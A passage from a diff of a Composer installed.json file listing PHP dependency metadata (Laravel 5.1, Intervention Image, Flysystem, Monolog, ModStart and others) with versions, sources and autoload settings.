+ { + "url": "https://github.com/GrahamCampbell", + "type": "github" + }, + { + "url": "https://github.com/Nyholm", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/guzzlehttp/psr7", + "type": "tidelift" + } + ] + }, + { + "name": "intervention/image", + "version": "2.7.2", + "version_normalized": "2.7.2.0", + "source": { + "type": "git", + "url": "https://github.com/Intervention/image.git", + "reference": "04be355f8d6734c826045d02a1079ad658322dad" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/Intervention/image/zipball/04be355f8d6734c826045d02a1079ad658322dad", + "reference": "04be355f8d6734c826045d02a1079ad658322dad", + "shasum": "" + }, + "require": { + "ext-fileinfo": "*", + "guzzlehttp/psr7": "~1.1 || ^2.0", + "php": ">=5.4.0" + }, + "require-dev": { + "mockery/mockery": "~0.9.2", + "phpunit/phpunit": "^4.8 || ^5.7 || ^7.5.15" + }, + "suggest": { + "ext-gd": "to use GD library based image processing.", + "ext-imagick": "to use Imagick based image processing.", + "intervention/imagecache": "Caching extension for the Intervention Image library" + }, + "time": "2022-05-21T17:30:32+00:00", + "type": "library", + "extra": { + "laravel": { + "aliases": { + "Image": "Intervention\\Image\\Facades\\Image" + }, + "providers": [ + "Intervention\\Image\\ImageServiceProvider" + ] + }, + "branch-alias": { + "dev-master": "2.4-dev" + } + }, + "installation-source": "dist", + "autoload": { + "psr-4": { + "Intervention\\Image\\": "src/Intervention/Image" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Oliver Vogel", + "email": "oliver@intervention.io", + "homepage": "https://intervention.io/" + } + ], + "description": "Image handling and manipulation library with support for Laravel integration", + "homepage": "http://image.intervention.io/", + "keywords": [ + "gd", + "image", + "imagick", + "laravel", + "thumbnail", + "watermark" + ], + "funding": [ + { + "url": "https://paypal.me/interventionio", + "type": "custom" + }, + { + "url": "https://github.com/Intervention", + "type": "github" + } + ] + }, + { + "name": "jakub-onderka/php-console-color", + "version": "v0.2", + "version_normalized": "0.2.0.0", + "source": { + "type": "git", + "url": "https://github.com/JakubOnderka/PHP-Console-Color.git", + "reference": "d5deaecff52a0d61ccb613bb3804088da0307191" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/JakubOnderka/PHP-Console-Color/zipball/d5deaecff52a0d61ccb613bb3804088da0307191", + "reference": "d5deaecff52a0d61ccb613bb3804088da0307191", + "shasum": "" + }, + "require": { + "php": ">=5.4.0" + }, + "require-dev": { + "jakub-onderka/php-code-style": "1.0", + "jakub-onderka/php-parallel-lint": "1.0", + "jakub-onderka/php-var-dump-check": "0.*", + "phpunit/phpunit": "~4.3", + "squizlabs/php_codesniffer": "1.*" + }, + "time": "2018-09-29T17:23:10+00:00", + "type": "library", + "installation-source": "dist", + "autoload": { + "psr-4": { + "JakubOnderka\\PhpConsoleColor\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-2-Clause" + ], + "authors": [ + { + "name": "Jakub Onderka", + "email": "jakub.onderka@gmail.com" + } + ], + "abandoned": "php-parallel-lint/php-console-color" + }, + { + "name": "jakub-onderka/php-console-highlighter", + "version": "v0.3.2", + "version_normalized": "0.3.2.0", + "source": { + "type": "git", + "url": "https://github.com/JakubOnderka/PHP-Console-Highlighter.git", + "reference": "7daa75df45242c8d5b75a22c00a201e7954e4fb5" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/JakubOnderka/PHP-Console-Highlighter/zipball/7daa75df45242c8d5b75a22c00a201e7954e4fb5", + "reference": "7daa75df45242c8d5b75a22c00a201e7954e4fb5", + "shasum": "" + }, + "require": { + "jakub-onderka/php-console-color": "~0.1", + "php": ">=5.3.0" + }, + "require-dev": { + "jakub-onderka/php-code-style": "~1.0", + "jakub-onderka/php-parallel-lint": "~0.5", + "jakub-onderka/php-var-dump-check": "~0.1", + "phpunit/phpunit": "~4.0", + "squizlabs/php_codesniffer": "~1.5" + }, + "time": "2015-04-20T18:58:01+00:00", + "type": "library", + "installation-source": "dist", + "autoload": { + "psr-0": { + "JakubOnderka\\PhpConsoleHighlighter": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Jakub Onderka", + "email": "acci@acci.cz", + "homepage": "http://www.acci.cz/" + } + ], + "abandoned": "php-parallel-lint/php-console-highlighter" + }, + { + "name": "jaybizzle/crawler-detect", + "version": "v1.2.121", + "version_normalized": "1.2.121.0", + "source": { + "type": "git", + "url": "https://github.com/JayBizzle/Crawler-Detect.git", + "reference": "40ecda6322d4163fe2c6e1dd47c574f580b8487f" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/JayBizzle/Crawler-Detect/zipball/40ecda6322d4163fe2c6e1dd47c574f580b8487f", + "reference": "40ecda6322d4163fe2c6e1dd47c574f580b8487f", + "shasum": "" + }, + "require": { + "php": ">=5.3.0" + }, + "require-dev": { + "phpunit/phpunit": "^4.8|^5.5|^6.5|^9.4" + }, + "time": "2024-10-20T21:42:39+00:00", + "type": "library", + "installation-source": "dist", + "autoload": { + "psr-4": { + "Jaybizzle\\CrawlerDetect\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Mark Beech", + "email": "m@rkbee.ch", + "role": "Developer" + } + ], + "description": "CrawlerDetect is a PHP class for detecting bots/crawlers/spiders via the user agent", + "homepage": "https://github.com/JayBizzle/Crawler-Detect/", + "keywords": [ + "crawler", + "crawler detect", + "crawler detector", + "crawlerdetect", + "php crawler detect" + ] + }, + { + "name": "jenssegers/agent", + "version": "v2.6.4", + "version_normalized": "2.6.4.0", + "source": { + "type": "git", + "url": "https://github.com/jenssegers/agent.git", + "reference": "daa11c43729510b3700bc34d414664966b03bffe" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/jenssegers/agent/zipball/daa11c43729510b3700bc34d414664966b03bffe", + "reference": "daa11c43729510b3700bc34d414664966b03bffe", + "shasum": "" + }, + "require": { + "jaybizzle/crawler-detect": "^1.2", + "mobiledetect/mobiledetectlib": "^2.7.6", + "php": ">=5.6" + }, + "require-dev": { + "php-coveralls/php-coveralls": "^2.1", + "phpunit/phpunit": "^5.0|^6.0|^7.0" + }, + "suggest": { + "illuminate/support": "Required for laravel service providers" + }, + "time": "2020-06-13T08:05:20+00:00", + "type": "library", + "extra": { + "laravel": { + "aliases": { + "Agent": "Jenssegers\\Agent\\Facades\\Agent" + }, + "providers": [ + "Jenssegers\\Agent\\AgentServiceProvider" + ] + }, + "branch-alias": { + "dev-master": "3.0-dev" + } + }, + "installation-source": "dist", + "autoload": { + "psr-4": { + "Jenssegers\\Agent\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Jens Segers", + "homepage": "https://jenssegers.com" + } + ], + "description": "Desktop/mobile user agent parser with support for Laravel, based on Mobiledetect", + "homepage": "https://github.com/jenssegers/agent", + "keywords": [ + "Agent", + "browser", + "desktop", + "laravel", + "mobile", + "platform", + "user agent", + "useragent" + ], + "funding": [ + { + "url": "https://github.com/jenssegers", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/jenssegers/agent", + "type": "tidelift" + } + ] + }, + { + "name": "jeremeamia/superclosure", + "version": "2.4.0", + "version_normalized": "2.4.0.0", + "source": { + "type": "git", + "url": "https://github.com/jeremeamia/super_closure.git", + "reference": "5707d5821b30b9a07acfb4d76949784aaa0e9ce9" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/jeremeamia/super_closure/zipball/5707d5821b30b9a07acfb4d76949784aaa0e9ce9", + "reference": "5707d5821b30b9a07acfb4d76949784aaa0e9ce9", + "shasum": "" + }, + "require": { + "nikic/php-parser": "^1.2|^2.0|^3.0|^4.0", + "php": ">=5.4", + "symfony/polyfill-php56": "^1.0" + }, + "require-dev": { + "phpunit/phpunit": "^4.0|^5.0" + }, + "time": "2018-03-21T22:21:57+00:00", + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "2.4-dev" + } + }, + "installation-source": "dist", + "autoload": { + "psr-4": { + "SuperClosure\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Jeremy Lindblom", + "email": "jeremeamia@gmail.com", + "homepage": "https://github.com/jeremeamia", + "role": "Developer" + } + ], + "description": "Serialize Closure objects, including their context and binding", + "homepage": "https://github.com/jeremeamia/super_closure", + "keywords": [ + "closure", + "function", + "lambda", + "parser", + "serializable", + "serialize", + "tokenizer" + ], + "abandoned": "opis/closure" + }, + { + "name": "kylekatarnls/update-helper", + "version": "1.2.1", + "version_normalized": "1.2.1.0", + "source": { + "type": "git", + "url": "https://github.com/kylekatarnls/update-helper.git", + "reference": "429be50660ed8a196e0798e5939760f168ec8ce9" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/kylekatarnls/update-helper/zipball/429be50660ed8a196e0798e5939760f168ec8ce9", + "reference": "429be50660ed8a196e0798e5939760f168ec8ce9", + "shasum": "" + }, + "require": { + "composer-plugin-api": "^1.1.0 || ^2.0.0", + "php": ">=5.3.0" + }, + "require-dev": { + "codeclimate/php-test-reporter": "dev-master", + "composer/composer": "2.0.x-dev || ^2.0.0-dev", + "phpunit/phpunit": ">=4.8.35 <6.0" + }, + "time": "2020-04-07T20:44:10+00:00", + "type": "composer-plugin", + "extra": { + "class": "UpdateHelper\\ComposerPlugin" + }, + "installation-source": "dist", + "autoload": { + "psr-0": { + "UpdateHelper\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Kyle", + "email": "kylekatarnls@gmail.com" + } + ], + "description": "Update helper", + "funding": [ + { + "url": "https://github.com/kylekatarnls", + "type": "github" + }, + { + "url": "https://opencollective.com/Carbon", + "type": "open_collective" + }, + { + "url": "https://tidelift.com/funding/github/packagist/nesbot/carbon", + "type": "tidelift" + } + ] + }, + { + "name": "laravel/framework", + "version": "v5.1.46", + "version_normalized": "5.1.46.0", + "source": { + "type": "git", + "url": "https://github.com/laravel/framework.git", + "reference": "7f2f892e62163138121e8210b92b21394fda8d1c" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/laravel/framework/zipball/7f2f892e62163138121e8210b92b21394fda8d1c", + "reference": "7f2f892e62163138121e8210b92b21394fda8d1c", + "shasum": "" + }, + "require": { + "classpreloader/classpreloader": "~2.0|~3.0", + "danielstjules/stringy": "~1.8", + "doctrine/inflector": "~1.0", + "ext-mbstring": "*", + "ext-openssl": "*", + "jeremeamia/superclosure": "~2.0", + "league/flysystem": "~1.0", + "monolog/monolog": "~1.11", + "mtdowling/cron-expression": "~1.0", + "nesbot/carbon": "~1.19", + "paragonie/random_compat": "~1.4", + "php": ">=5.5.9", + "psy/psysh": "0.7.*", + "swiftmailer/swiftmailer": "~5.1", + "symfony/console": "2.7.*", + "symfony/css-selector": "2.7.*|2.8.*", + "symfony/debug": "2.7.*", + "symfony/dom-crawler": "2.7.*", + "symfony/finder": "2.7.*", + "symfony/http-foundation": "2.7.*", + "symfony/http-kernel": "2.7.*", + "symfony/process": "2.7.*", + "symfony/routing": "2.7.*", + "symfony/translation": "2.7.*", + "symfony/var-dumper": "2.7.*", + "vlucas/phpdotenv": "~1.0" + }, + "replace": { + "illuminate/auth": "self.version", + "illuminate/broadcasting": "self.version", + "illuminate/bus": "self.version", + "illuminate/cache": "self.version", + "illuminate/config": "self.version", + "illuminate/console": "self.version", + "illuminate/container": "self.version", + "illuminate/contracts": "self.version", + "illuminate/cookie": "self.version", + "illuminate/database": "self.version", + "illuminate/encryption": "self.version", + "illuminate/events": "self.version", + "illuminate/exception": "self.version", + "illuminate/filesystem": "self.version", + "illuminate/hashing": "self.version", + "illuminate/http": "self.version", + "illuminate/log": "self.version", + "illuminate/mail": "self.version", + "illuminate/pagination": "self.version", + "illuminate/pipeline": "self.version", + "illuminate/queue": "self.version", + "illuminate/redis": "self.version", + "illuminate/routing": "self.version", + "illuminate/session": "self.version", + "illuminate/support": "self.version", + "illuminate/translation": "self.version", + "illuminate/validation": "self.version", + "illuminate/view": "self.version" + }, + "require-dev": { + "aws/aws-sdk-php": "~3.0", + "iron-io/iron_mq": "~2.0", + "mockery/mockery": "~0.9.4", + "pda/pheanstalk": "~3.0", + "phpunit/phpunit": "~4.0", + "predis/predis": "~1.0" + }, + "suggest": { + "aws/aws-sdk-php": "Required to use the SQS queue driver and SES mail driver (~3.0).", + "doctrine/dbal": "Required to rename columns and drop SQLite columns (~2.4).", + "fzaninotto/faker": "Required to use the eloquent factory builder (~1.4).", + "guzzlehttp/guzzle": "Required to use the Mailgun and Mandrill mail drivers and the ping methods on schedules (~5.3|~6.0).", + "iron-io/iron_mq": "Required to use the iron queue driver (~2.0).", + "league/flysystem-aws-s3-v3": "Required to use the Flysystem S3 driver (~1.0).", + "league/flysystem-rackspace": "Required to use the Flysystem Rackspace driver (~1.0).", + "pda/pheanstalk": "Required to use the beanstalk queue driver (~3.0).", + "predis/predis": "Required to use the redis cache and queue drivers (~1.0).", + "pusher/pusher-php-server": "Required to use the Pusher broadcast driver (~2.0).", + "symfony/psr-http-message-bridge": "Required to psr7 bridging features (0.2.*)." + }, + "time": "2017-03-24T16:31:45+00:00", + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "5.1-dev" + } + }, + "installation-source": "dist", + "autoload": { + "files": [ + "src/Illuminate/Foundation/helpers.php", + "src/Illuminate/Support/helpers.php" + ], + "psr-4": { + "Illuminate\\": "src/Illuminate/" + }, + "classmap": [ + "src/Illuminate/Queue/IlluminateQueueClosure.php" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Taylor Otwell", + "email": "taylorotwell@gmail.com" + } + ], + "description": "The Laravel Framework.", + "homepage": "http://laravel.com", + "keywords": [ + "framework", + "laravel" + ] + }, + { + "name": "league/commonmark", + "version": "0.18.5", + "version_normalized": "0.18.5.0", + "source": { + "type": "git", + "url": "https://github.com/thephpleague/commonmark.git", + "reference": "f94e18d68260f43a7d846279cad88405854b1306" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/thephpleague/commonmark/zipball/f94e18d68260f43a7d846279cad88405854b1306", + "reference": "f94e18d68260f43a7d846279cad88405854b1306", + "shasum": "" + }, + "require": { + "ext-mbstring": "*", + "php": ">=5.6.5" + }, + "replace": { + "colinodell/commonmark-php": "*" + }, + "require-dev": { + "cebe/markdown": "~1.0", + "commonmark/commonmark.js": "0.28", + "erusev/parsedown": "~1.0", + "michelf/php-markdown": "~1.4", + "mikehaertl/php-shellcommand": "^1.2", + "phpunit/phpunit": "^5.7.27|^6.5.14", + "scrutinizer/ocular": "^1.1", + "symfony/finder": "^3.0|^4.0" + }, + "suggest": { + "league/commonmark-extras": "Library of useful extensions including smart punctuation" + }, + "time": "2019-03-28T13:52:31+00:00", + "bin": [ + "bin/commonmark" + ], + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "0.19-dev" + } + }, + "installation-source": "dist", + "autoload": { + "psr-4": { + "League\\CommonMark\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Colin O'Dell", + "email": "colinodell@gmail.com", + "homepage": "https://www.colinodell.com", + "role": "Lead Developer" + } + ], + "description": "PHP Markdown parser based on the CommonMark spec", + "homepage": "https://github.com/thephpleague/commonmark", + "keywords": [ + "commonmark", + "markdown", + "parser" + ] + }, + { + "name": "league/commonmark-ext-table", + "version": "0.9.0", + "version_normalized": "0.9.0.0", + "source": { + "type": "git", + "url": "https://github.com/thephpleague/commonmark-ext-table.git", + "reference": "94bc98d802d0b706e748716854e5fa0bd3644df3" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/thephpleague/commonmark-ext-table/zipball/94bc98d802d0b706e748716854e5fa0bd3644df3", + "reference": "94bc98d802d0b706e748716854e5fa0bd3644df3", + "shasum": "" + }, + "require": { + "league/commonmark": "^0.16|^0.17|^0.18", + "php": "^5.6|^7.0" + }, + "require-dev": { + "friendsofphp/php-cs-fixer": "^2.9", + "phpunit/phpunit": "^5.4|^6.0", + "symfony/var-dumper": "^3.0|^4.0", + "vimeo/psalm": "~0.3" + }, + "time": "2018-11-28T11:29:11+00:00", + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "0.9-dev" + } + }, + "installation-source": "dist", + "autoload": { + "psr-4": { + "Webuni\\CommonMark\\TableExtension\\": "src" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Martin Hasoň", + "email": "martin.hason@gmail.com" + }, + { + "name": "Webuni s.r.o.", + "homepage": "https://www.webuni.cz" + } + ], + "description": "The table extension for CommonMark PHP implementation", + "homepage": "https://github.com/webuni/commonmark-table-extension", + "keywords": [ + "commonmark", + "markdown", + "table" + ], + "abandoned": "league/commonmark" + }, + { + "name": "league/flysystem", + "version": "1.0.70", + "version_normalized": "1.0.70.0", + "source": { + "type": "git", + "url": "https://github.com/thephpleague/flysystem.git", + "reference": "585824702f534f8d3cf7fab7225e8466cc4b7493" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/thephpleague/flysystem/zipball/585824702f534f8d3cf7fab7225e8466cc4b7493", + "reference": "585824702f534f8d3cf7fab7225e8466cc4b7493", + "shasum": "" + }, + "require": { + "ext-fileinfo": "*", + "php": ">=5.5.9" + }, + "conflict": { + "league/flysystem-sftp": "<1.0.6" + }, + "require-dev": { + "phpspec/phpspec": "^3.4 || ^4.0 || ^5.0 || ^6.0", + "phpunit/phpunit": "^5.7.26" + }, + "suggest": { + "ext-fileinfo": "Required for MimeType", + "ext-ftp": "Allows you to use FTP server storage", + "ext-openssl": "Allows you to use FTPS server storage", + "league/flysystem-aws-s3-v2": "Allows you to use S3 storage with AWS SDK v2", + "league/flysystem-aws-s3-v3": "Allows you to use S3 storage with AWS SDK v3", + "league/flysystem-azure": "Allows you to use Windows Azure Blob storage", + "league/flysystem-cached-adapter": "Flysystem adapter decorator for metadata caching", + "league/flysystem-eventable-filesystem": "Allows you to use EventableFilesystem", + "league/flysystem-rackspace": "Allows you to use Rackspace Cloud Files", + "league/flysystem-sftp": "Allows you to use SFTP server storage via phpseclib", + "league/flysystem-webdav": "Allows you to use WebDAV storage", + "league/flysystem-ziparchive": "Allows you to use ZipArchive adapter", + "spatie/flysystem-dropbox": "Allows you to use Dropbox storage", + "srmklive/flysystem-dropbox-v2": "Allows you to use Dropbox storage for PHP 5 applications" + }, + "time": "2020-07-26T07:20:36+00:00", + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "1.1-dev" + } + }, + "installation-source": "dist", + "autoload": { + "psr-4": { + "League\\Flysystem\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Frank de Jonge", + "email": "info@frenky.net" + } + ], + "description": "Filesystem abstraction: Many filesystems, one API.", + "keywords": [ + "Cloud Files", + "WebDAV", + "abstraction", + "aws", + "cloud", + "copy.com", + "dropbox", + "file systems", + "files", + "filesystem", + "filesystems", + "ftp", + "rackspace", + "remote", + "s3", + "sftp", + "storage" + ], + "funding": [ + { + "url": "https://offset.earth/frankdejonge", + "type": "other" + } + ] + }, + { + "name": "maatwebsite/excel", + "version": "2.1.30", + "version_normalized": "2.1.30.0", + "source": { + "type": "git", + "url": "https://github.com/Maatwebsite/Laravel-Excel.git", + "reference": "f5540c4ba3ac50cebd98b09ca42e61f926ef299f" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/Maatwebsite/Laravel-Excel/zipball/f5540c4ba3ac50cebd98b09ca42e61f926ef299f", + "reference": "f5540c4ba3ac50cebd98b09ca42e61f926ef299f", + "shasum": "" + }, + "require": { + "illuminate/cache": "^5.0", + "illuminate/config": "^5.0", + "illuminate/filesystem": "^5.0", + "illuminate/support": "^5.0", + "jeremeamia/superclosure": "^2.3", + "nesbot/carbon": "~1.0", + "php": ">=5.5", + "phpoffice/phpexcel": "^1.8.1", + "tijsverkoyen/css-to-inline-styles": "~2.0" + }, + "require-dev": { + "mockery/mockery": "~1.0", + "orchestra/testbench": "3.1.*|3.2.*|3.3.*|3.4.*|3.5.*|3.6.*", + "phpseclib/phpseclib": "~1.0", + "phpunit/phpunit": "~4.0" + }, + "suggest": { + "illuminate/http": "^5.0", + "illuminate/queue": "^5.0", + "illuminate/routing": "^5.0", + "illuminate/view": "^5.0" + }, + "time": "2018-09-04T19:00:09+00:00", + "type": "library", + "extra": { + "laravel": { + "aliases": { + "Excel": "Maatwebsite\\Excel\\Facades\\Excel" + }, + "providers": [ + "Maatwebsite\\Excel\\ExcelServiceProvider" + ] + } + }, + "installation-source": "dist", + "autoload": { + "psr-0": { + "Maatwebsite\\Excel\\": "src/" + }, + "classmap": [ + "src/Maatwebsite/Excel" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Maatwebsite.nl", + "email": "patrick@maatwebsite.nl" + } + ], + "description": "Supercharged Excel exports in Laravel", + "keywords": [ + "PHPExcel", + "batch", + "csv", + "excel", + "export", + "import", + "laravel" + ] + }, + { + "name": "mews/captcha", + "version": "dev-master", + "version_normalized": "9999999-dev", + "source": { + "type": "git", + "url": "https://gitee.com/modstart-lib/mews-captcha-mix.git", + "reference": "b2998b3f8ad78c022fc6c3960134d346c551f17b" + }, + "require": { + "ext-gd": "*", + "illuminate/config": "~5.0", + "illuminate/filesystem": "~5.0", + "illuminate/hashing": "~5.0", + "illuminate/support": "~5.0", + "intervention/image": "~2.2", + "php": ">=5.4" + }, + "require-dev": { + "mockery/mockery": "0.9.*", + "phpunit/phpunit": "~4.1" + }, + "type": "package", + "extra": { + "laravel": { + "providers": [ + "Mews\\Captcha\\CaptchaServiceProvider" + ], + "aliases": { + "Captcha": "Mews\\Captcha\\Facades\\Captcha" + } + } + }, + "installation-source": "source", + "autoload": { + "psr-4": { + "Mews\\Captcha\\": "src/" + }, + "files": [ + "src/helpers.php" + ] + }, + "autoload-dev": { + "classmap": [ + "tests" + ], + "psr-4": { + "Mews\\Test\\": "tests/" + } + }, + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Muharrem ERİN", + "email": "me@mewebstudio.com", + "homepage": "https://github.com/mewebstudio", + "role": "Developer" + } + ], + "description": "Laravel 5 Captcha Package", + "homepage": "https://github.com/mewebstudio/captcha", + "keywords": [ + "Captcha", + "laravel5 Captcha", + "laravel5 Security" + ] + }, + { + "name": "mobiledetect/mobiledetectlib", + "version": "2.8.45", + "version_normalized": "2.8.45.0", + "source": { + "type": "git", + "url": "https://github.com/serbanghita/Mobile-Detect.git", + "reference": "96aaebcf4f50d3d2692ab81d2c5132e425bca266" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/serbanghita/Mobile-Detect/zipball/96aaebcf4f50d3d2692ab81d2c5132e425bca266", + "reference": "96aaebcf4f50d3d2692ab81d2c5132e425bca266", + "shasum": "" + }, + "require": { + "php": ">=5.0.0" + }, + "require-dev": { + "phpunit/phpunit": "~4.8.36" + }, + "time": "2023-11-07T21:57:25+00:00", + "type": "library", + "installation-source": "dist", + "autoload": { + "psr-0": { + "Detection": "namespaced/" + }, + "classmap": [ + "Mobile_Detect.php" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Serban Ghita", + "email": "serbanghita@gmail.com", + "homepage": "http://mobiledetect.net", + "role": "Developer" + } + ], + "description": "Mobile_Detect is a lightweight PHP class for detecting mobile devices. It uses the User-Agent string combined with specific HTTP headers to detect the mobile environment.", + "homepage": "https://github.com/serbanghita/Mobile-Detect", + "keywords": [ + "detect mobile devices", + "mobile", + "mobile detect", + "mobile detector", + "php mobile detect" + ], + "funding": [ + { + "url": "https://github.com/serbanghita", + "type": "github" + } + ] + }, + { + "name": "modstart/modstart", + "version": "dev-master", + "version_normalized": "9999999-dev", + "source": { + "type": "git", + "url": "https://gitee.com/modstart-lib/modstart.git", + "reference": "0e61234812a4bd8859392977e61caacb668c4971" + }, + "require": { + "arvenil/ninja-mutex": "^0.6.0", + "bacon/bacon-qr-code": "*", + "doctrine/dbal": "^2.5", + "ext-curl": "*", + "ext-json": "*", + "ezyang/htmlpurifier": "dev-master", + "intervention/image": "^2.3", + "jenssegers/agent": "v2.6.4", + "php": ">=5.5.9", + "predis/predis": "^1.1" + }, + "type": "library", + "extra": { + "laravel": { + "providers": [ + "ModStart\\ModStartServiceProvider" + ] + } + }, + "installation-source": "source", + "autoload": { + "psr-4": { + "ModStart\\": "src", + "Chumper\\Zipper\\": "src/Misc/Zipper" + }, + "files": [ + "src/helpers.php" + ] + }, + "license": [ + "Apache 2.0" + ], + "authors": [ + { + "name": "ModStart", + "email": "modstart@163.com" + } + ], + "description": "modstart", + "homepage": "https://github.com/modstart/modstart", + "keywords": [ + "admin", + "laravel" + ] + }, + { + "name": "modstart/modstart-laravel5", + "version": "dev-master", + "version_normalized": "9999999-dev", + "source": { + "type": "git", + "url": "https://gitee.com/modstart-lib/modstart-laravel5.git", + "reference": "e2375cc3d235c31cc1d83ede5c5c50e852ef07f6" + }, + "require": { + "ext-curl": "*", + "ext-json": "*", + "guzzlehttp/guzzle": "~6.0", + "league/commonmark": "0.18.5", + "league/commonmark-ext-table": "0.9.0", + "maatwebsite/excel": "~2.1.10", + "mews/captcha": "dev-master", + "modstart/modstart": "dev-master", + "php": ">=5.5.9", + "psr/simple-cache": "^1.0", + "w7corp/easywechat": "dev-master" + }, + "type": "library", + "installation-source": "source", + "license": [ + "Apache 2.0" + ], + "authors": [ + { + "name": "ModStart", + "email": "modstart@163.com" + } + ], + "description": "modstart", + "homepage": "https://github.com/modstart/modstart-laravel5", + "keywords": [ + "admin", + "laravel" + ] + }, + { + "name": "monolog/monolog", + "version": "1.27.1", + "version_normalized": "1.27.1.0", + "source": { + "type": "git", + "url": "https://github.com/Seldaek/monolog.git", + "reference": "904713c5929655dc9b97288b69cfeedad610c9a1" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/Seldaek/monolog/zipball/904713c5929655dc9b97288b69cfeedad610c9a1", + "reference": "904713c5929655dc9b97288b69cfeedad610c9a1", + "shasum": "" + }, + "require": { + "php": ">=5.3.0", + "psr/log": "~1.0" + }, + "provide": { + "psr/log-implementation": "1.0.0" + }, + "require-dev": { + "aws/aws-sdk-php": "^2.4.9 || ^3.0", + "doctrine/couchdb": "~1.0@dev", + "graylog2/gelf-php": "~1.0", + "php-amqplib/php-amqplib": "~2.4", + "php-console/php-console": "^3.1.3", + "phpstan/phpstan": "^0.12.59", + "phpunit/phpunit": "~4.5", + "ruflin/elastica": ">=0.90 <3.0", + "sentry/sentry": "^0.13", + "swiftmailer/swiftmailer": "^5.3|^6.0" + }, + "suggest": { + "aws/aws-sdk-php": "Allow sending log messages to AWS services like DynamoDB", + "doctrine/couchdb": "Allow sending log messages to a CouchDB server", + "ext-amqp": "Allow sending log messages to an AMQP server (1.0+ required)", + "ext-mongo": "Allow sending log messages to a MongoDB server", + "graylog2/gelf-php": "Allow sending log messages to a GrayLog2 server", + "mongodb/mongodb": "Allow sending log messages to a MongoDB server via PHP Driver", + "php-amqplib/php-amqplib": "Allow sending log messages to an AMQP server using php-amqplib", + "php-console/php-console": "Allow sending log messages to Google Chrome", + "rollbar/rollbar": "Allow sending log messages to Rollbar", + "ruflin/elastica": "Allow sending log messages to an Elastic Search server", + "sentry/sentry": "Allow sending log messages to a Sentry server" + }, + "time": "2022-06-09T08:53:42+00:00", + "type": "library", + "installation-source": "dist", + "autoload": { + "psr-4": { + "Monolog\\": "src/Monolog" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Jordi Boggiano", + "email": "j.boggiano@seld.be", + "homepage": "http://seld.be" + } + ], + "description": "Sends your logs to files, sockets, inboxes, databases and various web services", + "homepage": "http://github.com/Seldaek/monolog", + "keywords": [ + "log", + "logging", + "psr-3" + ], + "funding": [ + { + "url": "https://github.com/Seldaek", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/monolog/monolog", + "type": "tidelift" + } + ] + }, + { + "name": "mtdowling/cron-expression", + "version": "v1.2.3", + "version_normalized": "1.2.3.0", + "source": { + "type": "git", + "url": "https://github.com/mtdowling/cron-expression.git", + "reference": "9be552eebcc1ceec9776378f7dcc085246cacca6" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/mtdowling/cron-expression/zipball/9be552eebcc1ceec9776378f7dcc085246cacca6", + "reference": "9be552eebcc1ceec9776378f7dcc085246cacca6", + "shasum": "" + }, + "require": { + "php": ">=5.3.2" + }, + "require-dev": { + "phpunit/phpunit": "~4.0|~5.0" + }, + "time": "2019-12-28T04:23:06+00:00", + "type": "library", + "installation-source": "dist", + "autoload": { + "psr-4": { + "Cron\\": "src/Cron/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Michael Dowling", + "email": "mtdowling@gmail.com", + "homepage": "https://github.com/mtdowling" + } + ], + "description": "CRON for PHP: Calculate the next or previous run date and determine if a CRON expression is due", + "keywords": [ + "cron", + "schedule" + ], + "abandoned": "dragonmantank/cron-expression" + }, + { + "name": "nesbot/carbon", + "version": "1.39.1", + "version_normalized": "1.39.1.0", + "source": { + "type": "git", + "url": "https://github.com/CarbonPHP/carbon.git", + "reference": "4be0c005164249208ce1b5ca633cd57bdd42ff33" + }, + "dist": { + "type": "zip", 